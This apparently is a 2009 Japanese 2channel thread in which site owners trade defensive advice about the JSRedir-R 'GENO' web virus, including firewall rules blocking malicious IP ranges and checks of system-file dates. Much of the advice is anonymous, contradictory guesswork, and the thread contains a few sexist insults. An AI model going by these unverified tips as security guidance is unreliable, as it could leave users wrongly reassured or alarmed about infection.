なんでSP最新版にしなかったんだといわれても、最新版にすると大体危険な不具合がって
後々どっかでニュースになるから様子見してたらそのまま忘れてしまったんだよな
まぁ感染してなかったから大人しくしてるけど

>>3
●NortonInternetSecurity2008の設定方法

「個別」　95.129.145.58
は
「範囲」　95.129.144.0-95.129.145.255
内に含まれるアドレスです。


まあ書かれている順番でアドレスを打ち込んでいけば
ノートン先生が注意してくれるので設定自体は混乱しないと思いますが
念のためアドレス情報の再確認をした方がいいかも。

>198、200
まあそれはそうなんだけどさ
今のまま、何もしない状態で新刊情報とかチェックしにサイト巡りしたら
知らないうちに短時間でオンラインパンデミック、なんてことになりかねない
自衛はしといてほしいじゃん…知ってるならさ

赤豚と豚インフルが混じってるぞおまいら

http://itpro.nikkeibp.co.jp/article/COLUMN/20060131/228217/
こいつで確認することもできそうだな

豚の方が心配なのは仕方ないなｗ
実際問題、PCがなくても人は生きてはいけるが
耐性のないリアルウイルスだと生死に関わるからな…

>>225
あれじゃ腐女子叩きたいようにしか見えん
言い方が悪いわ

あと別に肩持つ訳じゃないが豚はかかったら死ぬ可能性ある

>>227
リンク先がなんなのか位書いてくれ

オンラインで原稿作ってる人はPC逝ったらやばいんじゃないの

今pixiv繋がる人いる？

>>190
関西在住ならこっちよりリアルのウイルス感染の方がウエイト重いよ
そりゃ仕方ない
関西在住じゃなくて、遠征組はもう現地入りしてたら即座に対応できないし
何でも叩くのよくないよ

>>202
ちょっとここみてきな
http://www.av-test.org/
http://antivirus-news.net/2009/04/avtest4g-data18.html
要はカスペだけ信用すんなってことなんだけどね

>>226
やっぱりかｗ 自分もそこ気になってた

豚って赤豚のことじゃないの？

ウィルスが流行るといつもこうだが、怖くてリンクがクリック出来なくなるな

>>232
繋がらない。というかエラーの連続。
だめだウイルスのせいで疑心暗鬼になっている…早く終わってくれ

皆さんお疲れ様です

感染報告ありの女性向け個人サイト餅の対処として、(Winでxp、詳しい知識ない)

pcの感染はないか確認
flashとかアップロード
IEはjs無効にする
サイトのhtml記述を確認
ffftpはソフトごと削除
用心に拍手(公式を借りてる)とサーチとブログ(fc2)へのリンクは切ってウィルス注意と出してきた

これでもう一度感染チェックして暫くpcごと開かなかったら、(ネットワーク遮断で利用する)
自衛とゾンビサイト化は防げるでFAと思っていい？
勿論、毎日このスレはROMする

カスペのスキャンってオンラインスキャンよりトライアル版落としてやった方がいいの？
初歩的な事ですまん。

まとめサイトのIP遮断方法はノートンのだけしか載ってないのか

>>232
つながんね。今回はいつにもましてヒドイな…

youtube見れない

前スレとか見てきたけど、携帯は例えフルブラウザで見ても
ＯＳの問題で結局感染しないってことでおｋですか？

だとすると、wiki注意書きの「携帯閲覧は平気？」の項目の書き方は
誤解を招く恐れがあるので書き換えた方が良いのではないでしょうか。

>>204
よかったなｗｗｗ

>>237
それでいいんじゃね
おまえは正しい

>>239
全然ダメ

かぺるオンラインのデータベース重いなあ
やっぱアクセス殺到してるんだろうか

>>190の言ってる中の豚とは豚インフルじゃなくて
赤/ブ/ー/ブ/ー主催、通称赤豚っていうイベントのことだよ

赤豚というイベントの方が大事な人
赤豚というイベントに行って豚インフルにかからないか不安な人

がいるってことだろ

ニフティオンラインスキャンでやってみたら
１つ感染してたんだけどJANEの借金生活板の過去ログで
Exploit.HTML.Mhtつうウイルスだった

>>213
>>190が言いたかったのは豚の心配するのが馬鹿とかじゃなく
豚に対する警戒に比べウイルスに対する警戒がなさすぎってことを強調したかっただけでは

身内の隠蔽体質、知識不足、自己保身、陰湿さ
こりゃ被害拡大は免れないかも
801系は中国のような腐海だからなぁ、女の悪いところ全部が最悪の方向で出てるな

>>241
kerioやoutpostの対策も是非載せてほしい

pixivとfc2は鯖側で404だと思う

>241
ノートンしか持ってないから情報落とせないんだ
他ソフト持ちの情報が落とされるといいんだけど

インテ行く人はリアルウィルスにも気をつけとけよ

【人情パンデミック】大阪で高校生8人が新たに陽性反応
http://tsushima.2ch.net/test/read.cgi/news/1242484839/

【阪デミック】　大阪の女子高生陽性→集団感染の疑い。現在１００人が症状訴え。実は前から兆候が…２
http://tsushima.2ch.net/test/read.cgi/news/1242486964/

>>241
他のファイヤーウォール使ってて詳しい人が居たら教えてほしいね
ずっとノートンだから他はわからん

>>230
簡易バックアッププログラム

ここぞとばかりに腐女子叩くバカは他でやってくれ

>>204
俺もカスペルでスキャンして1つだけ検出して何だと思ったら
専ブラに保存されてるウィルスコードが貼られたスレのdatファイルだった事がある

　　　ε　⌒ﾍ⌒ヽﾌ
　　　（ 　　(　　・ω・）
　＿...｡ﾟしー し─Ｊ
⊂...＿＿....⊃　ｼﾞｮﾛｼﾞｮﾛ〜

ノートン先生お休みしすぎだろ

>>252
優先順位ってもんがあるだろ
自分の命とＰＣを天秤にかけて
ＰＣを選ぶ馬鹿がどこにいるよ

どうも自サイトに見慣れないソースがありまして…Mac者なので今の所PCは
問題なさげなんですが、この場合、サイトを削除して再度ウプすれば問題
ないのでしょうか？無知ですみません…

>>253
見えない敵と戦うのは辛いだろうから林先生とこ行ってきな？
少しは楽になるかもよ…

>>179について意見求む
とりあえずトップページ1行目を
＞現在新種のコンピュータウイルス「JSRedir-R」（通称GENOウイルス）が急速に拡大中です。
に変えればいいんじゃないかと思ってますが。
正式名出た以上通称でも文句言われたりするんだろうか。

サイト名とかは現行でいいすか？通称つけたほうがいい？JSRedir-Rに変える？

>>222追加しました
>>224ごめんどう手を加えたらいいのかﾜｶﾝﾈ
　　　修正箇所と修正内容レスしてくれたら書き換えるよ
（235まで確認）

巨大ボットネット発見，190万台の感染マシンで構成
http://itpro.nikkeibp.co.jp/article/NEWS/20090423/329035/

http://www.itmedia.co.jp/news/articles/0905/15/news032.html
>Sophosの最新報告書によればマルウェア感染ページは4.5秒に1件のペースで増加。
>2007年に比べて3倍のペースで増え続けている。

世界中で話題になってるみたいだね

>>265
いいからスレ最初から読んでくれ

>>264
他人様への多大な迷惑と自分の楽しみを秤にかけて
自分の楽しみを優先したバカなら今回の件でも豚フルの件でもいたけどな

自己保身もいい方向に働けばいいんだけどね
せめて自分だけは潔白でいたいとか
他板でもウイルス？よくﾜｶﾝﾈってレスも見る
今北産業みたいなのもあった方がわかりやすいかも

IP遮断方法ってそれぞれのセキュリティソフトのサイトに書いてないの？

豚をイベントのほうだと思ったのは書き込んだ人じゃなくて読んだあなたの思い込みではないの？

お前ら喧嘩すんなｗ

ところで、>>21を書いた者なんだが、反応が無いのは
このスレにBuffalo使いがいないのか、パケットフィルタは意味無いのか、書き方が悪いのか、一体どれなんだろう。

カスペスキャンしたら数年前の専ブラのログの書き込みに反応した
…それはノートントラップだ…

昨日だけで４回はスキャンしたな…疲れた…

>>165
自分も360だからこのやり方だと思うんだけど
設定でファイアーウォールの保護からトラフィックルールのタブで追加
そこから他のノートンと一緒

まとめサイト繋がる？　なんか表示が不安定なんだけど
ただ重いだけならいいけどまた何かあったんじゃないかと心配

Remote Registryサービスを止めるってのは対抗策にならない？

どちらにしろ同じもんじゃないか?
赤豚ｲﾍﾞﾝﾄ開催場所=豚ﾌﾙ発生地帯なんだから

腐叩きしてんのは
東方厨だから気にするな

pixiv復活

>>244
基本的にPCのウイルスは携帯には感染しない
実行出来ないから

ノートン先生切ってカスペオンラインに挑んだけどやっぱり
エラーがでる('A`)
そして毎回「連続投稿ですか？」って出るの何とかならないのかな

>>267
今はほとんどの人が「GENOウィルス」で認識してるから、
その略称は消さない方がいいと思います

自分のパソコンが感染してないのを確認してからサイトは一切いじってない
注意喚起もせず自己中で薄情かもしれんが、亜種のことを聞くと二次被害出しそうで怖いんだよ

>>274
1：たまたまBuffalo使いがいない
2：みんな分かってた
3：ありがたいと思ったけど報告してない
4：ようわからん
5：NTT製となっているルータにBuffalo製が含まれていることを知らない

>>3 (>>267)

>>125にも書いたんですが、FTP以外の個人情報についてはまだ不明なのです。
なので以下のように書き換えを提案したいのですが……。

> 感染されたサイトを閲覧した時点でPCが感染、FTPのIDやパスが抜かれる、
> クレジットカード等、ネットを介して利用する個人情報の類いが抜かれる、
> Acrobatが挙動不審になる等の問題を引き起こします。
↓
感染されたサイトを閲覧した時点でPCが感染、FTPのIDやパスが抜かれる、
Acrobatが挙動不審になる等の問題を引き起こすことが確認されています。
また、現状ではまだ確認されていませんが、
通販サイトやウェブメール等、WEBブラウザを介したWEBサービスで利用する
IDやパスワード、クレジットカード情報等の個人情報が抜かれる可能性もあります。

感染してないみたいだ。良かった…
サイトには注意書きとwikiへのリンク貼っておいた

これ犯人見つかったらどれくらい罪重いんだろうな

>>277
繋がるし軽いよ

>>283
俺も同じだ
安心しろ

>>267
今までのから見てわかりやすさを求めるならば

現在新種のコンピュータウイルス通称GENOウイルス（正式名称：「JSRedir-R」）が急速に拡大中です。

の気もするけど、どうなんでしょうね？
文句言われるのかなー…？
上記がまずければ>>267でいいような気がする。せっかく（ってのも何だけど）正式名称あるなら。

fc2は繋がるようになった。
さっきのはなんだったんだろう。


ところでkingsoftての使ってる人はいる？

ウイルス関係以外で雑談やめれ
感情論とか今どうでもいい

>>281
結構長かったから本当に感染したのかと思ったw
ピクシブが感染したらオタクオワタになるよな。

なあ、○○が見れない系の関係ない報告はやめないか？
詳しくない奴が見たら混乱するだろ。
http経由のファイルアップしかできない動画サイトやＰＩＸＩＶを危ぶむ意味がわからん。運営が感染してるとかならわかるが。
wikiは大丈夫かとか携帯やＰＳＰはとか…とか言っちゃうような奴はまず落ち着け。

怖いと感じるのは、対象への理解が足りないから怖いんだと思う。
ちゃんとwiki読めば仕組みがなんとなく分かると思うんだ。

ふたばが感染したってガセ？

>>296
ガセと言われてたが詳細不明

>>279
まさしく豚に真珠だな

これあんまりググらない方がいいってのはなんで？
症状の一つに感染者がググると改竄リンクが出るってのはわかるけど
グーグル自体に問題でもあるの？

>>298
意味がわからない

初心者版は欲しいな
対策とかの言葉で一部分からないところあるし

>>286
ｗｗ　そうかｗｗ

いや、なんせ経験の無い事なので自信が無くてね

>>247
出来る限り対処したいんだけど、じゃあその他何すればいいの？

>>220
JAVAアプレット開始…のメッセージでカスペスキャン出来ないんだけど
スキャンする時だけavastもファイアーウォールも切ってある
セキュリティレベル下げてＪＳもオンにしてるけど駄目なんだ…
もちろんＪＡＶＡアプレットは切ってない

>1のチェックして無駄だと思いつつもノートン先生でフルスキャンした
何も出なかったけど安心できないので今カスペのオンラインやってるんだが
1時間たってもまだ7%とか…

>>303
「じゃあ」で訊いて教えてもらえると思うな

pixiv運営のついったー

# pixivが重い。。24分前 webで
# 対応中です。23分前 webで
# pixivが激しく重いので対応中です。19分前 webで
# 対応しました！3分前 webで
# ご迷惑をおかけしました！！20秒以内前 webで

ヒヤヒヤさせやがって・・・ｗｗｗ

>>3　>>267

や、削る必要があるとするなら「個別」の　95.129.145.58　なんだけど
（「範囲」の方でカバーできてるから）
どこでどう情報が錯綜してるかﾜｶﾝﾈから、自信がなければそのままでもいいとｵﾓ。
さっきも書きましたが、普通に書かれてる順番で打ち込んでいけば
ノートン先生が注意してくれるので、大きな混乱にはならないはず。

とりあえず正常ファイル
sqlsodbc.chm
MD5:f639afde02547603a3d3930ee4bf8c12

>>299
>3

同人以外の個人サイトは、感染して無反応とか
何度も感染繰り返すようだとURL晒されてるね。
同人だけは特別って認識はどこから来てるんだろう。

>>287
案の定125を見落としていましたｽﾏｿ
それで書き換えてきます

>>277
現時点では自分のPC含めおかしいところは見当たらないようだ
今ちょこちょこ書き換えたり削ったりしてるからかもしれん（わからんが）
ずっと続くようならまた報告してください

（293まで確認）

>>299
ググッた先のサイトが感染済みの可能性も高いから

>>303
OS再インストール
FTPパスワード変更

>>276
できたっぽい。ありがとう！

>>282
ありがとう、安心した

安全だとわかったことだし、携帯でソース見れるサイトあったから、
携帯からお気に入りサイトさんが大丈夫か見てこよう
vistaで対策も全部したけど不安すぎるチキン

>>303
wiki読んで来い。つか、

>感染報告ありの女性向け個人サイト餅

ってことは、管理人が感染したって事だろ？
まずはならインスコだろ

>>299
どのサイトが感染してるかわからないからネサフは極力控えろってことだとｵﾓ
亜種も活発みたいだし、書かれている対策を行っているから完全にネットして安心！
…とは言い切れないからなあ

>>287
FTPの盗聴によるアカウント抜出ではないの？
だったら、他の件とは切り分けて考えた方が良いと思うんだけど。

>>>274
ﾄﾝ　設定した
って書き込みたいんだけど規制かかってんだ…

自PCからちょっと安心してネサフしたい窓ユーザはデュアルブートで
linuxでも入れたらいい。タダだし

>>3
まとめ乙です
ブリーチ（週間ジャンプ）と十二国記（小説）で個人サイトの
感染確認しました

>>311
それでも隠蔽したいんだろう

>>292

自分使ってます。

>>303
サイトのファイル全部消し
別のPCか携帯で設定にアクセスしてパスワード変更して休止中インデックスを置く
感染したPCをきれいにする

久しぶりにiBook起動してネットやろうかな

>>311
そりゃわざわざサイトを検索にひっかからないようにするようなジャンル性だからだろ

おっと書き込めた当方マカ
Macｽﾚで出てたの投下します

--------ここから----------

10.3までのOSユーザーはFlash Playerを外すか・Acrobatリーダーの
　Webブラウザ内閲覧機能を切るかJavaScriptオフにする

　TigerとLeopardの人はAcrobatは9.1、Flash Playerは10.0.22.87以上に更新する
　またAcrobat Readerの初期設定からAcrobat JavaScriptをオフにする
（AcrobatReaderは「プレビュー.app」で代用可能なので始めから入れない手もある）

　Firefox使ってる人は3.0.10に更新してNoScript入れること
　非表示状態になったFlashコンテンツをどうしても見たいときはマウスポインタを置いて
　リンク先が不正URLでないか確認した上で「一時的に許可」すること

　OmniWebなら初期設定→プラグインでFlashプラグインの活動を停止できます
　（OmniWebだけのシャットダウン、Safariには影響しません）
　
　自分のサイトが汚染されていないかソースを見て確認すること、FTPパスを変更すること

　BootCampでXPを入れている人は
　　C:%uC2A5WINDOWS%uC2A5system32%uC2A5sqlsodbc.chm　このサイズ表示（ディスク上のサイズではない）
　　50,727 bytes以外の数値に改ざんされていないかチェックすること。

-----------ここまで-----------

ClamXavも頻繁にアップデートされてるので要チェック

これは取り敢えず感染してなかったらジッとしてるでＯＫなんだよな

皆、自サイトに注意書きしてる？

>>303
今回はどんな対応でも太鼓判が押せない
完璧な対応なんてない
感染が怖いならWindows以外のOS使うか、携帯使うしかない

■ファイアーウォール

ノートン・バスターだったら
「ヘルプ」開いて「ファイアーウォール」か「ファイアウォール」をキーワード検索
「追加」とか「新規」みたいな項目を参照してみるといい
これでだいたい情報が出るはず
あとは>>3のwikiで既出のノートンの設定方法を参考にしながら設定
見ればわかると思う

見てわからないなら、公式のアップデートを待つ方が安全

>>274
6：うちのとインターフェースが違うくてやりかたがわからない

>>317
それもしかしたら「感染報告有りの『ジャンルの』女性向け個人サイト」じゃないか

なんだ、またディアボロモンが出てきたか・・・

助けてオメガモン

腐女子叩きしてる奴ずっと同じだなw

>>330
PCの電源を落として、外で元気よく遊ぶって対処はどう？

理屈としては、2ヶ月くらいまったく更新してないサイトは
踏んでも感染の危険はないってことになるのか？

ブログで注意喚起の記事かこうと思ってるんだけど上手くかけん

勘違いさせて申し訳ないです
感染報告のあったジャンルで、まだ感染はしていない個人サイトの管理人です
自衛策についてって入れ忘れてました
本当すみません
もし感染してたらwikiやアドバイス通りOS再ｲﾝｽｺしてみます

>>274
設定していて遅れたが、ありが�d！
つか、流れはええｗ

>>267　>>3
スレに向けて書けばよかた… ありがとうございます

通称をサブで残すのでいいのではと思います

たしかセキュ板で、GENOが作った訳ではない云々と見たんで心配になりました

>>334
わろたｗ
しかし今回は２度目だからオメガモンじゃ太刀打ちできないな

>>329
してる
でも注意書き置いてから５０人くらい来て、読んでくれたの２人だけ

>>327
おーMac情報ありがたい
bootcampでWin入れてるけど起動させてなかったら大丈夫なのかな
ClamXavもいれてるが、キャッシュを監視させたらいいのか…

>>338
ウイルスはやってるよーって軽く書くだけでも良いんじゃない
可能ならまとめサイトにリンク貼るとか

>>283,304
オンラインスキャンできないってのはソースチェッカーみたいにアクセス過多とは考えられんかね？
普段アンチウイルス入れないでオンラインスキャンやってるから大丈夫ってタコもいるわけだし。

過剰に騒いでる感もあるから今日はとりあえず寝るってのもありだよ。
回線と電源切って繋いで来る魔法使いなんかいないんだからさ。

>>1
>>309
うちのパソコン
sqlsodbc.chm以外に
kernel32.dllも書き換えられてるわ・・・orz
この二つだけ同じ3/21で同じ23：07分だわ

>>3
まとめサイトの「よくある質問」の「携帯閲覧は平気？」の項目ですが、
あの書き方だとフルブラウザの携帯では感染するように読めてしまいます。
フルブラウザでも現状携帯は感染しないようですので、
『携帯電話でサイトを閲覧しても、現状では感染しない』
というように書き換えてくださるとありがたいです。

>>329
字サイトで注意書き、まとめさいとにリンク済み。

はじめの方は注意書きすると「ねらーだったんですか」とかコメ送ってくるような輩もいたらしいけど
今はジャンルサーチやpixivでも注意書き広まってる

サイトでも注意書きすべき

ゲイの腐女子叩きは異常

>>329
してる

自分は弱小だけど、相互が大手だから相互にも伝えようと思ってる

携帯だとFTP自体使うこともないし
フルブラウザ使って万が一ウィルス感染したとしても
元々のウィルスの生体環境と合ってないから、結果感染はあってないようなもの

という解釈でおＫ？
ウィルスわかんねーよ難しーよ

そういや使ってないから確定情報ではないけど
フレッツウイルスクリアver4=バスター2009だから（ver3が2008）
そっちでも検疫できるんじゃないかと思う
v6と西のツールはわからん

これ、改ざんされるのってhtmlファイルだけ？
感染したらしいが、特にサイトのソースに変化なかったみたいだった
（全消し＆パス替え＆クリーンインスコはもうしましたorz）

うちのサイトは全部phpファイルだったんだが、
別にそんなこと関係ないよな……
そぼくな疑問というか、どうでもいい疑問ですまん

>>337
違うんじゃないか？
２ヶ月更新して無くても、最近そのサイトの管理人がネサフやなんかでウイルスに感染したら
勝手にウイルスがサイトの更新…というか妙なもん埋め込むってことじゃないの？

>>333
そういう意味か…わかりにくいなー

>>339
感染してないようだったら、サイトに注意喚起を早めに乗せるといいよ

字→自でした
テンパってすまんね

>>338
自サイトとPCが感染していない事を確認後
ブログに「関連スレ・まとめWikiからの抜粋です」って記事書いて
更に追記に、分かり易く平たくまとめたものを置いといた

特に閲からの反応はない
でも普段のホトは多い方なので、効果が少しでもあればいいと思ってる

>293
すまんかった

>299
Firefoxの初期設定ではぐぐった先のサイトを読み込む機能がある
そのサイトが感染してたら…

あのさ皆
書き込む前に>>1から数レスぐらい頭に入れようよホント

ブログにウイルスのこと書いたら土曜だけでもアクセス凄いことになってたわ。
悲しいことに同ジャンルの人は見てくれてないこと。

記事かけない人はトラバ自由だから引用とかつかってもらってもいいんだけど、
アドレス晒すのあれだしなぁ。

>>274
今設定完了したところだ
わかり易かった。ありがとう

>>329
３ホタだけど注意書きしてまとめのリンク貼った

>337
その管理人が別サイトでFTP使ってたらアウトだろ

>>292
自分も使ってる

まさにネット界のパンデミックだな

これって今までのウイルス騒動の中でもどれくらいのやばさに該当する？
DBか政治で例えてくれ

レスどうも
簡単に書いておくことにするよありがとう

>>329
自分のPC＆サイトにウイルス居ないって分かったけど怖くて更新できないから
日記に。見てくれる人がいるかどうかそれが問題。

>>329
簡潔にだけど目立つとこに喚起記事あげてきたけど
解析いれてないから、どのくらい需要あるかわからんな
mixiでも反応ない…やっぱ明日イベントだから、そっちに気が回ってるんだろうか

>>313　>>318　ありがとう
そういう事かなってのは思ったけど
他のスレでもグーグル検索の注意しかみなかったから
なんか問題でもあるのかと

>>329
トップページで注意喚起した
付き合いのあるサイト管理人さんにも連絡した
すぐに呼応してブログやサイトトップに告知出してくれる管理人さんもいるし、
大げさだって言う管理人さんもいた
大げさだって笑われたっていいんだ
問題起きてからじゃ遅いんだから

まとめサイトのURLぶっこみスキャン、ブログのアドレス入れたら
ずっとStillなんたらって出る
混んでんのかなあ
ブログはほぼ感染しないって思ってていいんだろうか？
注意喚起文のせたいんだが、まずスキャンを、と思ったら時間かかって…

>>329
どピコだけどうちは書いてるよ。
今のところ読んでくれたのは1人だけだけど、IE8でのアクセスが増えてきた。
ジャンルサーチでも対応が速いところは注意書きがでてるけど、
そこや２ch見ない人もいるだろうから注意喚起のために書いた方がいいと思う。
できればまとめサイトへのリンクも載せるとよりよいかな。

>>321入れました
>>308
「個別」の95.129.145.58は追加しなくていいって解釈でいんだよね
大丈夫だろうけど一応修正しとくﾉｼ

名称についてはとりあえず>>267で様子見ということにします
意見あれば随時どうぞ

>>348今からやってきます
（345まで確認）

>>320,340
おお、良かった。レス乞食みたいになって申し訳ないｗ

>>332
パケットフィルタ　のような項目はないかい？

>>329
昨夜からしてる
が、半数は2秒もせず目的コンテンツへ移動してる

登録してる幸管にもそれぞれメールしたんだけど何の反応もない

>>344
BootCamp使えないPPCユーザだから起動しない＝おkかはわからん
とりあえずSentryでアプリケーション・ライブラリ・ダウンロードを全部監視させてるよ

>>338
同じく
まとめサイトは100％安全かわかんねーし
だからと言って注意喚起文だけだとネット検索させることになるような気がする…
危ないよな？
びびりすぎか？

>>365
見た目イメージで人造人間吸収したあとのセル

今sqlsodbc.chmのファイルサイズ見てきたんだが
46,133バイトはアウト？他のcmd.exeとregedit.exeは起動したし
ニフティでも何も引っかからなかったんだが…
ぶっ飛んだこと聞いてたら申し訳ない

>>355
phpでも書き換えられちゃうんじゃなかったっけ

pixivに注意喚起画像上げたもんですが、
「企画目録タグつけてイメレス募集した方がいい」とアドバイスが
あったのでやってみました。参加してくださる方がいると
ウイルスに対する認知度上がるのでありがたいです。

>>3
>>327
の追加お願いしたい

>>365
セルとフリーザによる同時侵攻

>>287
未確認情報を追加するのは感心しない。

「分かっている限りでは」と前置きし、
末尾に「詳しいことは解析中であるため、
他にも被害をもたらす動きをしている可能性もあります」
とするのが無難だと思う。

>>337>>355
感染後に1度もFTPを使っての更新を行っていなければ、
IDとPASSが漏れないからページは感染しないと思われる

更新を行っていないという確証をどうやって得るのか疑問ではある

>>352
感染するしないにFTPは関係ない
感染しない理由は、携帯にWindowsが入っていないから。

>>48とほぼ同じ状態なんだけど、firefox入れた直後に
adobeのサイト行ってflash入れた。
アドオンで見るとバージョンが10.0 r22と書かれてるんだがこれでいいのかな？
もし更新すべきならどうすればいいの？無効化と有効化しかボタンがない……

それから、ウイルスバスター2009のファイアーウォール設定で
IPを遮断する方法をご存知の方いませんか？

>355
>363
ﾄﾝ。理解できてきた。
別にサイトを持ってるということも大いに有り得るからな。
更新の有る無しに関わらずソース確認必須か

ﾆｭｰｿｸにｽﾚたってなかっか？
＋じゃないけど

需要有る無しというより、どっか間違ってないか確認お願いしたいので、バスターでのFW設定書いておく。
前スレノートン先生設定参照＆引用改造

■ウイルスバスター2009（ver.17.1.1251）のファイアウォール設定
　1.メイン画面→「パーソナルファイアウォール」クリック
　2.「設定」クリック→開いたウィンドウ内の「詳細設定」クリック
　3.「プロファイルの詳細設定」ウィンドウの「例外ルール（プロトコル）」タブをクリック
　4.「追加」→「新規例外ルール（パーソナルファイアウォールネットワーク）」ウィンドウが開くので以下設定※
　5.「OK」をクリックして開いているウィンドウを閉じ、最後にメイン画面を閉じる

※例外ルール設定について（IPの記述方法）
　例１）【94.247.2.0 - 94.247.3.255】の場合
　　　「説明」→例外ルール名を入力
　　　「方向」→受信（送信でも同じ設定を作る）
　　　「処理」→遮断
　　　「プロトコル」→すべて
　　　「ポート」→すべてのポート
　　　「タイプ」→指定範囲のIPアドレス（IPv4)
　　　　　　　　　　→開始アドレスに「94.247.2.0」
　　　　　　　　　　→終了アドレスに「94.247.3.255」を入力
　　　「OK]をクリック後、ルール名を変えて「方向：送信」で同様の設定を作成する
　例２）【78.109.29.112】の場合（基本↑と同じ）
　　　「タイプ」→IPアドレス（IPv4)
　　　　　　　　　　→ホスト名：空欄
　　　　　　　　　　→IPアドレスに「78.109.29.112」を入力

こんな感じであってる？
IPv6とかが正直ﾜｶﾝﾈ

FTPのパスを変える
買い物とかした所のパスを変える

こえをしようとおもったら自分の環境だと一度ログインして
変更しないとダメなんだけど、リカバリした後だとログインしても
大丈夫なんだよね？ウイルス消えてる（はず）だから・・・

ところでjugemとかFC2のレンタルブログはダイジョウブなのか？
やばいって言ってる人が居たりして混乱してきた

>>368
流れこんなに早いのに書いてるやつは大体一緒ってことか

>>365
ドラゴンボールを敵に7つ全部回収されてるぐらいやばい

>>370
どこかのニュースで見たけど、日本人って大災害・大震災の時
パニックになるよりも「大丈夫だろう」と事態を甘く見て
危険に陥ることの方が多いらしい

>>347
うちもアウトかな・・・
同じようにkernel32.dllが3/21の23：07：24に更新されてる
sqlsodbc.chmは普通に2004年だ
カスペオンラインも出来ないので体験版落としてみる

>>373
＞「個別」の95.129.145.58は追加しなくていいって解釈

そうですそうです。
どの道、wikiに書かれた順番通りに打ち込んでいけば
このアドレスはノートン先生に注意されて追加できません。

うはｗｗｗｗｗｗｗヤンキードゥードゥルウイルスに感染してたｗ

最大幸が注意書きしてくれて良かった
まだ感染してないが今使ってないPCサイトは削除、携帯サイトは暫くはPCアク禁、更新は携帯にすべきだよな
注意書きつけて

>>389
0.0.0.0-255.255.255.255はIPv4アドレス
IPアドレス足りなくなってきたからもっと増やそうぜ！っていうとでできたのがIPv6アドレス
v6は16進数で表記

kernel32.dll のMD5を調べてみようよ

ごめん書き忘れてた
バスター設定についてはサポート参照
tp://esupport.trendmicro.co.jp/Pages/JP-2063926.aspx

とりあえず確認事項は全部クリアして、ニフティのスキャンでも問題なしだったのだが

じゃあ今月始めごろからのメモリの異常消費＆IE激重ですぐ固まる問題は
何が原因だったんだろう。やっぱり感染してるんじゃないかと怖い。

>>396
なんだその楽しそうな名前

3月21日に書き換えられてるって報告が多いね
ただの偽装なのかその辺でばら撒かれたのか

>>371
FTPを使わず、WEBブラウザからのみ更新するブログなら、
仮に更新する人のパソコンが感染しててもブログが感染することはない
と思われる

>327訂正加筆
　10.3までのOSユーザーはFlash Playerを外す
　Acrobat ReaderおよびPDFの拡張子割り当て機能を外す
　Safari・OmniWebなどWebKitベースブラウザユーザーは「ダウンロードしたファイルを開く」を
　オフにすること（Safariの「全般」で設定できるが見落とされてしまうことが多い）

　Safariの「開発」でJavaScriptをオフにした場合でも、設定→セキュリティ→「JavaScriptを
　有効にする」および「プラグインを有効にする」も切っておくこと。

　Webブラウザ内閲覧機能を切るかJavaScriptオフにする

>>388
ついさっき1000いった。

>>386
火狐入れたらツール→アドオン→アドオンを追加
で、とりあえず「NoScript」入れとけ

ベリーナイスジャンキーのことかと思った

>>401
症状がこのウィルスのに似てるね
一応今後も注意されたし

>>386のフラッシュバージョン確認
>>100

ブラウザのJavaScript切ってたら
ヤフメが中に入れてくれないorz
なんかscript使ってたっけあそこ
いちいちヤフメ開くときだけオンにするのうぜー

>>385
ようするに人間がインフルエンザでわーわーいってる間、
地球に潜伏してる宇宙人は体の内部構造が違うから風邪すらひかないってことか

ただウィルスが宇宙人にあわせて変化する可能性はあるから注意だけはしろよと

という解釈であってる？

>>391
じゅげむは知らん
ＦＣ２はちょっと運営がグダグダなとこがあるし、前科があるから警戒したほうがいいと個人的には思う

>>407
アドオン追加しなくてもＪＳ切っとけばＯＫのはず

>>394
こっちもカーネル32同じ時間に更新されてるな

Yahooトップページは大丈夫だよね？

>>359
前前スレで先読み検索されてキャッシュされても実際に開かん事には
問題ないとあったんだけどやっぱりダメだったって事？

kernel32.dllが2009年3月21日23:18:57になってるんだがアウトか？
サイト消してくるか

ソースに埋め込まれるスクリプトって全ページ一律に埋め込まれるんだろうか
自分のPCは感染していないけど念には念を、と思って自サイトのソースを見だしたんだが
ファイル数が多くて挫折した＿|￣|○

今んとこアウトだったらトップから丸ごとアウトな報告ばかりだよな？

>>393
パニックにならず冷静になったほうがいい、とはよく言われるが、
実際はパニックになった方がいいらしいぜ

>>418
アウト

そろそろ散々馬鹿にしてくれたﾋﾟｸｼﾌﾞｽﾚの奴らが乗り込んでくるなあ…

>>3

>>327
>>405
マカー用追加おながいします

>>364
仲間がいてなんだかほっとしたｗ
あれってどうなんだろうね。ちゃんと報告してくれるんだろうか。
今のところ何も言ってこない…(あまりネサフしてない、というのもあるのかもだけど）

今、サイトにウィルスに対する注意とまとめへのリンク貼ってきた。
しっかしjs切ると不便だな。やほーメールも使えない。読むことは出来るんだが
アドレスブックが表示されない…

サーパラあたり注意喚起してほしい

>>373
更新乙

携帯の件に限らずなんだけど、
タイムスタンプは「現状（09/05/17 0時現在）」とかにした方がいい。

結構な早さで感染・亜種発生してる印象を受けるし、
それ以前に分かってないことも多いから
いつ時点の情報なのか明確にしておいた方が安心感が出る。

kernel32.dllが2009年3月21日、23:07:24

この予感・・・セーフ！

×WindowsUpdate
○PDFリーダーを最新にする　（AdobeReader　や Foxit Reader）
×AdobeFlashを最新にする
×94.247.2.195(94.247.[2-3].[0-255])への接続を遮断
○Adobe ReaderとブラウザのJavascriptを切る
○貼られている怪しいリンクをむやみに開かない
○ウイルス定義ファイルを更新する



とりあえずわかる所だけ実行しました
×の部分はよくわからなくて放置です
○の部分だけでも感染はある程度ふせげますか？

>>412
どっちかというと、豚のインフルエンザが人間にかかるはずないだろｗｗｗ
って状態
現状じゃPCウィルスは自分で変化できないんで現実みたいな事にはならない

>>413
自分ブログサイトでジュゲムメインで使ってるからどうすべきか悩む
憂鬱だ

>401
自分も。なんも出てこなかったし、サイトも平気だし今のところ何もないけど、
今月入って少し重たくなったのが恐い。気をつけてよう…

サイト持ってない手ブロユーザーだけど自ジャンルタグで注意喚起したけど効果あるかな

>kernel32.dllが2009年3月21日
どういう流れでそのファイルが日付更新されてたらアウトってことになったんだ

>>424
Opera使って、YahooメールだけJavaScript有効にすればいいよ！

とだけ書き込もうとしたが
よく考えるとYahooメールが感染しないという確証もないんだよな

自分もkernel32.dllの更新が2009年3月21日、23:07:24になってる
アウアウ判定はまだ早いんじゃね

kernel32.dllが?2009?年?2?月?13?日、??17:49:05
これマズいんかな

君ら疑心暗鬼になりすぎ
釣りに引っ掛かるぞ

